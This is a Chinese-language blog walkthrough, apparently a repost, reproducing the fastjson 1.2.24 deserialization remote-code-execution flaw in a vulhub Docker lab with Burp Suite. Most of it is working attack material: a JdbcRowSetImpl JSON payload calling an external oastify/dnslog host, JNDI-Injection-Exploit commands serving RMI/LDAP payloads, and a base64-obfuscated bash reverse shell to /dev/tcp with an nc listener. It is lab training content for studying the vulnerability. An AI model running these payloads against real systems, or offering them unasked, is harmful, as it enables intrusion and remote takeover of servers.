码农知识堂 - 1000bd
  •   Python
  •   PHP
  •   JS/TS
  •   JAVA
  •   C/C++
  •   C#
  •   GO
  •   Kotlin
  •   Swift
  • fastjson 1.2.24 反序列化导致任意命令执行漏洞


    fastjson 1.2.24 反序列化导致任意命令执行漏洞

    文章目录

      • fastjson 1.2.24 反序列化导致任意命令执行漏洞
        • 1 在线漏洞解读:
        • 2 环境搭建
          • 2.1 启动:
          • 2.2 已启动:访问端口8090
        • 3 影响版本:
        • 4 漏洞复现
          • 4.1 访问页面
          • 4.2 bp抓包,修改参数
            • 4.2.1使用bp进行抓包,转发repeater,将get请求转成post
            • 4.2.2 修改请求参数为json, 增加json参数进行传参,返回序列化后的参数值
        • 5 使用插件检测漏洞【FastjsonScan】
          • 5.1使用説明
          • 5.2 使用方法
            • 5.2.1 右键菜单中:
            • 5.2.2 FastjsonScan扫描结果界面:
            • 5.2.3 打开dnslog解析地址,获取的地址粘贴到bp的请求参数中看是否请求成功
            • 5.2.4 使用rmi协议不通
            • 5.2.5 尝试使用ldap协议,dnslog协议通了
            • 5.2.6 dnslog.cn通了,可以请求成功,存在漏洞,下面对其进行利用
        • 6 构建一个imr服务器
          • 6.1 java通信协议
          • 6.2 下载工具JNDI协议服务
          • 6.3 执行漏洞核心指令
        • 7 kali进行下载安裝JNDI服务
            • 7.1 使用编译好的tar包,准备启动JNDI通信服务
            • 7.2 执行
            • 7.3 将下面请求依次放到bp--》漏洞请求参数中
            • 7.4 查看docker容器
            • 7.5 docker容器中成功创建文件test,命令执行成功
        • 8 构建反弹shell
          • 8.1 反弹shell一句话
          • 8.2 使用在线工具转义
          • 8.3 开启监听
          • 8.4 重新启动 JNDI服务,并将开启shell连接一句话,放到 -C “command”中
          • 8.5 将扫描到的紫色标记连接地址-替换到下图红框中,进行转发
          • 8.6 经过多次尝试,获取连接到shell

    1 在线漏洞解读:

    https://vulhub.org/#/environments/fastjson/1.2.24-rce/
    
    • 1

    在这里插入图片描述

    2 环境搭建

    cd  /home/kali/vulhub/fastjson/1.2.24-rce
    
    • 1

    在这里插入图片描述

    2.1 启动:
    sudo docker-compose up -d
    
    sudo docker-compose ps -a
    sudo docker ps -a
    
    • 1
    • 2
    • 3
    • 4
    2.2 已启动:访问端口8090

    在这里插入图片描述

    3 影响版本:

    ​ fastjson 1.2.24

    4 漏洞复现

    4.1 访问页面

    ​ 访问页面http://192.168.225.166:8090/,返回json字符串

    .

    4.2 bp抓包,修改参数
    4.2.1使用bp进行抓包,转发repeater,将get请求转成post

    在这里插入图片描述

    4.2.2 修改请求参数为json, 增加json参数进行传参,返回序列化后的参数值
    {
    	"name":"test",
    	"age": 18
    }
    
    • 1
    • 2
    • 3
    • 4

    在这里插入图片描述

    5 使用插件检测漏洞【FastjsonScan】

    https://github.com/Maskhe/FastjsonScan
    
    • 1
    5.1使用説明
    • 下载项目中的FastjsonScan.jar文件

      在这里插入图片描述

    • 在burp的Extender->Extensions栏,点击Add,选择下载好的jar文件就可以了(执行环境是Java)

    如果成功安装,会输出如下信息,如果未能成功安装可以换下jdk版本??我用的1.8

    在这里插入图片描述

    5.2 使用方法

    使用方法也很简单,就像使用repeater一样,你可以在burp的任何地方选中一个请求右键选择【Send to FastjsonScan】将这个请求发送到Fastjson Scan,然后就只需要等待扫描结束

    5.2.1 右键菜单中:

    在这里插入图片描述

    5.2.2 FastjsonScan扫描结果界面:
    {"handsome":{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"rmi://weedjc37lvb2aq0bw6k08gkax13rrg.oastify.com/aaa","autoCommit":true}}
    
    • 1

    在这里插入图片描述

    5.2.3 打开dnslog解析地址,获取的地址粘贴到bp的请求参数中看是否请求成功
    http://dnslog.cn/  # 获取新的地址 5z5srb.dnslog.cn
    
    • 1

    在这里插入图片描述

    5.2.4 使用rmi协议不通

    在这里插入图片描述

    5.2.5 尝试使用ldap协议,dnslog协议通了

    在这里插入图片描述

    5.2.6 dnslog.cn通了,可以请求成功,存在漏洞,下面对其进行利用

    在这里插入图片描述

    6 构建一个imr服务器

    6.1 java通信协议
    JNDI,Java Nameing and Directory Interface,Java 命令与目录接口,是一组应用程序接口,目的是为了方便查找远程或本地对象。JNDI 典型的应用场景是配置数据源,除此之外,JNDI 还可以访问现有的目录和服务,例如LDAP| RMI| CORBA| DNS| NDS| NIS
    
    • 1
    6.2 下载工具JNDI协议服务
    https://github.com/welk1n/JNDI-Injection-Exploit
    
    • 1
    6.3 执行漏洞核心指令
    $ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [command] [-A] [address]
    
    要确保 1099、1389、8180端口可用,不被其他程序占用
    
    • 1
    • 2
    • 3

    7 kali进行下载安裝JNDI服务

    ┌──(kali💋kali)-[~/tools]
    └─$ proxychains git clone https://github.com/welk1n/JNDI-Injection-Exploit.git    
    
    • 1
    • 2

    在这里插入图片描述
    在这里插入图片描述

    7.1 使用编译好的tar包,准备启动JNDI通信服务
    ┌──(kali💋kali)-[~/tools/java-unserialize/JNDI-Injection-Exploit/target]
    └─$ pwd                                                                       
    /home/kali/tools/java-unserialize/JNDI-Injection-Exploit/target
    
    • 1
    • 2
    • 3

    在这里插入图片描述

    7.2 执行
    java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "touch /tmp/test" -A "192.168.225.166"
    
    • 1

    在这里插入图片描述

    7.3 将下面请求依次放到bp–》漏洞请求参数中
    rmi://192.168.225.166:1099/jv0kge
    rmi://192.168.225.166:1099/vqmpi8
    ldap://192.168.225.166:1389/vqmpi8
    rmi://192.168.225.166:1099/kdhm9b
    ldap://192.168.225.166:1389/kdhm9b
    
    • 1
    • 2
    • 3
    • 4
    • 5

    在这里插入图片描述

    7.4 查看docker容器
    sudo docker ps -a
    sudo docker exec -it 532  /bin/bash
    
    • 1
    • 2

    在这里插入图片描述

    7.5 docker容器中成功创建文件test,命令执行成功

    在这里插入图片描述

    8 构建反弹shell

    8.1 反弹shell一句话
    nc -lvvp  6666   # 开启监听6666端口服务
    ----------------------------------
    bash -i >& /dev/tcp/192.168.225.166/6666 0>&1
    ----------------------------------
    bash -i >& /dev/tcp/192.168.225.166/6666 0>&1 转成base64位:YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIyNS4xNjYvNjY2NiAwPiYx
    ----------------------------------
    bash -c {echo,base64编码一句话shell}|{base64,-d}|{bash,-i}
    --------------
    最后组合为
    bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIyNS4xNjYvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}
    ----------------------------------
    
    输入java指令:
    java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIyNS4xNjYvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}" -A "192.168.225.166"
    
    
    bash -i &> /dev/tcp/192.168.225.166/6666 0<&1 # 反弹交互指令tcp服务
    nc -lvp 6666 # l是监听模式;v是显示详细信息;p是指定端口;
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    8.2 使用在线工具转义

    在这里插入图片描述

    8.3 开启监听
    nc  -lvvp  6666
    
    • 1

    在这里插入图片描述

    8.4 重新启动 JNDI服务,并将开启shell连接一句话,放到 -C “command”中
    java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIyNS4xNjYvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}" -A "192.168.225.166"
    
    • 1

    在这里插入图片描述

    8.5 将扫描到的紫色标记连接地址-替换到下图红框中,进行转发

    在这里插入图片描述

    8.6 经过多次尝试,获取连接到shell

    在这里插入图片描述

  • 相关阅读:
    Linux之history、tab、alias、命令执行顺序、管道符以及exit
    外卖点餐小程序源码 扫码点餐小程序源码
    【大作文】【图表】【第一段】
    计算机导论第十周课后作业
    【神兵利器】介绍一款支持屏幕录制、滚动截图、高清长图、图片编辑、图片转PDF格式、屏幕取色的截图软件:FastStone Capture
    【Linux】NTP时间服务器Chrony配置详解
    解析java中逻辑运算符、自增(自减)运算符、三目运算符
    电力电子、光伏、锂电池等英文缩写(个人整理)
    vue element plus 安装
    【878. 第 N 个神奇数字】
  • 原文地址:https://blog.csdn.net/weixin_42786460/article/details/133824028
  • 最新文章
  • 攻防演习之三天拿下官网站群
    数据安全治理学习——前期安全规划和安全管理体系建设
    企业安全 | 企业内一次钓鱼演练准备过程
    内网渗透测试 | Kerberos协议及其部分攻击手法
    0day的产生 | 不懂代码的"代码审计"
    安装scrcpy-client模块av模块异常,环境问题解决方案
    leetcode hot100【LeetCode 279. 完全平方数】java实现
    OpenWrt下安装Mosquitto
    AnatoMask论文汇总
    【AI日记】24.11.01 LangChain、openai api和github copilot
  • 热门文章
  • 十款代码表白小特效 一个比一个浪漫 赶紧收藏起来吧!!!
    奉劝各位学弟学妹们,该打造你的技术影响力了!
    五年了,我在 CSDN 的两个一百万。
    Java俄罗斯方块,老程序员花了一个周末,连接中学年代!
    面试官都震惊,你这网络基础可以啊!
    你真的会用百度吗?我不信 — 那些不为人知的搜索引擎语法
    心情不好的时候,用 Python 画棵樱花树送给自己吧
    通宵一晚做出来的一款类似CS的第一人称射击游戏Demo!原来做游戏也不是很难,连憨憨学妹都学会了!
    13 万字 C 语言从入门到精通保姆级教程2021 年版
    10行代码集2000张美女图,Python爬虫120例,再上征途
Copyright © 2022 侵权请联系2656653265@qq.com    京ICP备2022015340号-1
正则表达式工具 cron表达式工具 密码生成工具

京公网安备 11010502049817号